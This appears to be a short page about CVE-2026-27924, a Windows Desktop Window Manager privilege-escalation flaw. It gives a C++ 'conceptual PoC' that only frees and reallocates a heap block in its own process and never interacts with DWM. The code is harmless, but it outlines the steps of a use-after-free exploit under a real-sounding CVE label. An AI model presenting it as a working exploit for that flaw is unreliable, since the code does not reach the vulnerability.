CVE-2026-27924 Windows桌面窗口管理器权限提升漏洞

/* * PoC for CVE-2026-27924 (Conceptual) * Triggering Use After Free in Desktop Window Manager * Note: This is a simplified simulation for demonstration purposes. */ #include <windows.h> #include <iostream> void SimulateUAF() { HANDLE hHeap = GetProcessHeap(); // Allocate memory for the vulnerable object PVOID vulnerableObject = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100); std::cout << "[+] Object allocated at: " << vulnerableObject << std::endl; // Step 1: Trigger the free (Vulnerability Trigger) // In the real vulnerability, specific DWM messages cause this. HeapFree(hHeap, 0, vulnerableObject); std::cout << "[+] Object freed." << std::endl; // Step 2: Allocate controlled memory to occupy the freed space // (Heap Grooming/Spraying) PVOID controlledObject = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100); memset(controlledObject, 0x41, 0x100); // Fill with 'A's (0x41) std::cout << "[+] Controlled memory allocated at: " << controlledObject << std::endl; // Step 3: Use After Free // The system attempts to use the freed pointer, now controlled by attacker. if (vulnerableObject == controlledObject) { std::cout << "[!] Successfully replaced freed memory. UAF condition triggered." << std::endl; // Malicious code execution would occur here in a real exploit. } HeapFree(hHeap, 0, controlledObject); } int main() { std::cout << "[*] Starting PoC for CVE-2026-27924..." << std::endl; SimulateUAF(); return 0; }